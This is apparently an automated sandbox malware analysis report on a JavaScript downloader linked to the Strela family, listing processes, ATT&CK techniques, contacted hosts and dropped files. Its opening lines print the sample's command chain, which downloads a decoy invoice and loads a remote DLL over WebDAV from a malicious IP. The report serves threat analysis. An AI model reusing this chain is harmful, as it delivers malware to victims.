Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25738143961307.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1923918274137833386.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/B	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/r	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/sce	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2996548933.0000023A7E400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	edb.log.8.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1768361623.0000023D0F29E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1767554646.0000023D0F250000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1767643800.0000023D0F27F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1765299877.0000023D0F29C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766157764.0000023D0F27F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/sce	net.exe, 00000006.00000002.1767554646.0000023D0F250000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/B	net.exe, 00000006.00000002.1767643800.0000023D0F27F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766157764.0000023D0F27F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/r	net.exe, 00000006.00000002.1767643800.0000023D0F27F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1766157764.0000023D0F27F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587746
Start date and time:	2025-01-10 17:33:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 54s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1923918274137833386.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@2/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 18.213.11.84, 54.224.241.105, 34.237.241.83, 50.16.47.176, 2.16.168.107, 2.16.168.105, 162.159.61.3, 172.64.41.3, 184.28.90.27, 23.209.209.135, 4.245.163.56, 104.78.188.188, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 1923918274137833386.js

Simulations

Behavior and APIs

Time	Type	Description
11:34:54	API Interceptor	22x Sleep call for process: powershell.exe modified
11:34:59	API Interceptor	1x Sleep call for process: net.exe modified
11:34:59	API Interceptor	2x Sleep call for process: svchost.exe modified
11:35:11	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28091322483050023072.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23268167561217715617.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	62212369534426657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	334130052300215064.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22977297631246330149.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	199708044356824138.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10266121931448610316.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18938150912509528417.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	489131343024428850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	25917225161220417691.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	51406528193621400.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32474162872806629906.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073245105680487
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvra:KooCEYhgYEL0In
MD5:	BD22897351FB7C6BFE5F47A17E427896
SHA1:	C103F1B6509176055C3C624572E6793B886E555F
SHA-256:	B9C86FF7954F93EFB3592EC32CBD3561096C3F766F1F6A267F13ADDC3DA3C033
SHA-512:	955E31D0A7316CE17CBF8FAFA91B3C0D57BB9E7734D07287556DFFDCA642C1E7EAE8A92A76145F689609EFCE712C6A83587A2BDDEF4654737C47B696FA8DEAD7
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x4996994b, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.422099523328323
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:haza/vMUM2Uvz7DO
MD5:	6E0F5B10A92DE1F892C0609D02189EC7
SHA1:	B4AC660C2E2AEF708D2B07646E0AFC6F1AFA9895
SHA-256:	FBBA57AD3558C8087D1840EDDC1CBAB4E80479F199078B52EC442FE63A72397F
SHA-512:	F803D99A655FD49CB4B6DFA33877194FE70EBE5F621E84C174B75BAFB98E4A9355A4261F2FA78FA8ED147D2B33C208F6BD639E8ED1D14FDAF71A63EDC8DFFCE7
Malicious:	false
Preview:	I..K... .......A.......X\...;...{......................0.!..........{A..#...}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................f..#...}....................n..#...}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07534396753914945
Encrypted:	false
SSDEEP:	3:oTUYeSi8dt+YGjjn13a/jJtltlallcVO/lnlZMxZNQl:owzWhGj53qjJXtAOewk
MD5:	1A36FD6FF7FD85EBBC61EAA5D3968784
SHA1:	212CC9077776962F8C6B7829D5A6663BCA022DEF
SHA-256:	EDA8BE205370D6E083943A2C25D186569698D35783111FB4F63F3F1A290C9210
SHA-512:	6A73E74BA8EC92392D5A265C5AF0C473E507C4B2C8ED33328297F29E6805D7FBCDF7B8CB5DFE3E2D00896921FBFC8452AA9687D22946221AF9D347F1D272BA86
Malicious:	false
Preview:	........................................;...{...#...}.......{A..............{A......{A..........{A]..................n..#...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.206442532209677
Encrypted:	false
SSDEEP:	6:iO4Jfa+q2Pwkn2nKuAl9OmbnIFUtSJfkZmwsJfWa3VkwOwkn2nKuAl9OmbjLJ:787vYfHAahFUtuk/IWaF5JfHAaSJ
MD5:	F21A2AD5AB5572C7B4FBE916FCDB57E5
SHA1:	C171A0B6062A499F6CFBB62FE04281FC4B744905
SHA-256:	10D6BBEAE3570BD9E7623434D35AA81E16624CC870BB70EEFCE4A6636CA45B3A
SHA-512:	7BBB6395A15A10919DB1945D046FCDD93D423A808EF9C5499E42EF1925218267B1EA3E7C802BA09FECA5ED8513164D96C7F08DB876C64C7959E10E0E0BD2BE42
Malicious:	false
Preview:	2025/01/10-11:34:59.105 1f28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:34:59.107 1f28 Recovering log #3.2025/01/10-11:34:59.108 1f28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.206442532209677
Encrypted:	false
SSDEEP:	6:iO4Jfa+q2Pwkn2nKuAl9OmbnIFUtSJfkZmwsJfWa3VkwOwkn2nKuAl9OmbjLJ:787vYfHAahFUtuk/IWaF5JfHAaSJ
MD5:	F21A2AD5AB5572C7B4FBE916FCDB57E5
SHA1:	C171A0B6062A499F6CFBB62FE04281FC4B744905
SHA-256:	10D6BBEAE3570BD9E7623434D35AA81E16624CC870BB70EEFCE4A6636CA45B3A
SHA-512:	7BBB6395A15A10919DB1945D046FCDD93D423A808EF9C5499E42EF1925218267B1EA3E7C802BA09FECA5ED8513164D96C7F08DB876C64C7959E10E0E0BD2BE42
Malicious:	false
Preview:	2025/01/10-11:34:59.105 1f28 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-11:34:59.107 1f28 Recovering log #3.2025/01/10-11:34:59.108 1f28 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.175772493951298
Encrypted:	false
SSDEEP:	6:iO4JfDBOq2Pwkn2nKuAl9Ombzo2jMGIFUtSJfZyXZmwsJfZokwOwkn2nKuAl9OmT:78tOvYfHAa8uFUtu8/IS5JfHAa8RJ
MD5:	939F094A4CA9C2ED4EC97852B91D119F
SHA1:	9FE506844233DF0DB019FE7C736E51D3E3C22126
SHA-256:	D40CDFCD3F5CD0421007D227D6139A5EBB1A4226693DF45F8583AE181BF71A30
SHA-512:	80AD59378E5DC9148ABAF406231863CEF0856B0FF7CF7575E8504B6BA423899736F55937ED71843D7A2B44D96CC9FD71179DAFCB96897040CD864231CE585A94
Malicious:	false
Preview:	2025/01/10-11:34:59.129 1f94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:34:59.131 1f94 Recovering log #3.2025/01/10-11:34:59.133 1f94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.175772493951298
Encrypted:	false
SSDEEP:	6:iO4JfDBOq2Pwkn2nKuAl9Ombzo2jMGIFUtSJfZyXZmwsJfZokwOwkn2nKuAl9OmT:78tOvYfHAa8uFUtu8/IS5JfHAa8RJ
MD5:	939F094A4CA9C2ED4EC97852B91D119F
SHA1:	9FE506844233DF0DB019FE7C736E51D3E3C22126
SHA-256:	D40CDFCD3F5CD0421007D227D6139A5EBB1A4226693DF45F8583AE181BF71A30
SHA-512:	80AD59378E5DC9148ABAF406231863CEF0856B0FF7CF7575E8504B6BA423899736F55937ED71843D7A2B44D96CC9FD71179DAFCB96897040CD864231CE585A94
Malicious:	false
Preview:	2025/01/10-11:34:59.129 1f94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-11:34:59.131 1f94 Recovering log #3.2025/01/10-11:34:59.133 1f94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.966928989487829
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqSoEsBdOg2HLHWZcaq3QYiubInP7E4T3y:Y2sRds+dMHP3QYhbG7nby
MD5:	9ACB5177AC8230831E9AAEFE3D397C1C
SHA1:	681B992C48C9ABB60CE11F0D5200C0B71524528A
SHA-256:	A32C4415991494514E80340F7C773CC6F61F4B3EDFDAF78BA336F324657B703B
SHA-512:	7922632019E159BB06FA50FF971A90DF95EB3C45F1BC38E044D15866D426B4FEF928F73B9FB7B7B2F4034E8F86C2E536297BE28B4EB1A98FF8D51897E8DA366D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381086911669905","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141479},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ab164fb5-b889-4b33-93cb-7cedafa00688.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.966928989487829
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqSoEsBdOg2HLHWZcaq3QYiubInP7E4T3y:Y2sRds+dMHP3QYhbG7nby
MD5:	9ACB5177AC8230831E9AAEFE3D397C1C
SHA1:	681B992C48C9ABB60CE11F0D5200C0B71524528A
SHA-256:	A32C4415991494514E80340F7C773CC6F61F4B3EDFDAF78BA336F324657B703B
SHA-512:	7922632019E159BB06FA50FF971A90DF95EB3C45F1BC38E044D15866D426B4FEF928F73B9FB7B7B2F4034E8F86C2E536297BE28B4EB1A98FF8D51897E8DA366D
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381086911669905","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":141479},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.252401934030657
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7y++GgJ:etJCV4FiN/jTN/2r8Mta02fEhgO73goS
MD5:	15476162E05DD692BD069306B24FEA23
SHA1:	4FD8D895FF47D3BFC4A4BD6D1C54693C32720955
SHA-256:	E9ADCA2FF672B2926E1E63553CC22FAACE439A63D96E031DF356FC9B23915307
SHA-512:	E3868A971E92D665B483FA7493C065E45DB102E54F5B438AC728E5925057FFE8D0C092B4FEB6819645BB8591331271AFA0FE84103886E0690765A62ADDC4D70A
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.190776921367717
Encrypted:	false
SSDEEP:	6:iO4Jfgq2Pwkn2nKuAl9OmbzNMxIFUtSJfrsZmwsJfLFkwOwkn2nKuAl9OmbzNMFd:78gvYfHAa8jFUturs/Ix5JfHAa84J
MD5:	E5ABB55F0B3CDB81E6B100D80DF0B4A0
SHA1:	88C86971FC72C7E66C653729C73B7D10B5CBEF7C
SHA-256:	5B944D5AE7F0433E38387E30313551A13A34E7479989B90AA63F61EC872AF44E
SHA-512:	2244419BD5571A5A00F69058DD0CC0F5A061C1B16FEB3BE6FEA96E8E13BE158BE10059B8ADF3F2EF8640896AA3AE65A1B95ED08369CD33C4709C3864E9DD9D41
Malicious:	false
Preview:	2025/01/10-11:34:59.293 1f94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:34:59.294 1f94 Recovering log #3.2025/01/10-11:34:59.295 1f94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.190776921367717
Encrypted:	false
SSDEEP:	6:iO4Jfgq2Pwkn2nKuAl9OmbzNMxIFUtSJfrsZmwsJfLFkwOwkn2nKuAl9OmbzNMFd:78gvYfHAa8jFUturs/Ix5JfHAa84J
MD5:	E5ABB55F0B3CDB81E6B100D80DF0B4A0
SHA1:	88C86971FC72C7E66C653729C73B7D10B5CBEF7C
SHA-256:	5B944D5AE7F0433E38387E30313551A13A34E7479989B90AA63F61EC872AF44E
SHA-512:	2244419BD5571A5A00F69058DD0CC0F5A061C1B16FEB3BE6FEA96E8E13BE158BE10059B8ADF3F2EF8640896AA3AE65A1B95ED08369CD33C4709C3864E9DD9D41
Malicious:	false
Preview:	2025/01/10-11:34:59.293 1f94 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-11:34:59.294 1f94 Recovering log #3.2025/01/10-11:34:59.295 1f94 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444674949193549
Encrypted:	false
SSDEEP:	384:yezci5t2iBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:r5s3OazzU89UTTgUL
MD5:	B3F7A359A164C005C15BBB47E25118A9
SHA1:	E5EBC30B17B4EFA8221BC6FFFD1360043E8F26E4
SHA-256:	5DD36D63DA225F7DF011EF9BD187D70267FD009435AAAE977D0F155F5C73B11C
SHA-512:	AA7E809871DC6E535828649E69C97EF05AEE9A69B584D15B05B37FCC11AEF8C9DE091EBEB4F3037833C17A53A1A3CA76EFF783B9BA1E095A3EA093933F52CC97
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7733662507980004
Encrypted:	false
SSDEEP:	48:7Mnp/E2ioyVbioy9oWoy1Cwoy13KOioy1noy1AYoy1Wioy1hioybioy3oy1noy10:7EpjubFWXKQC9b9IVXEBodRBkC
MD5:	72DD960486973A46C9BF86E1FF8D469C
SHA1:	8F3D28C21FFFB00081F6B8FBC88E8AA36863639C
SHA-256:	5DF58DCC5E85BAF1E9B36E34DE6A00CF353F9569955CC881DAACB81E8F17C397
SHA-512:	5FE9587F2D6F4DB557FB53F295FD5DFB702691BEA5FECAB460432AC64E7360D7E7665E66317A2ADE41A680C2A372FF9679701E4A383BF43FBDD681FDAF6E4066
Malicious:	false
Preview:	.... .c.......q...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
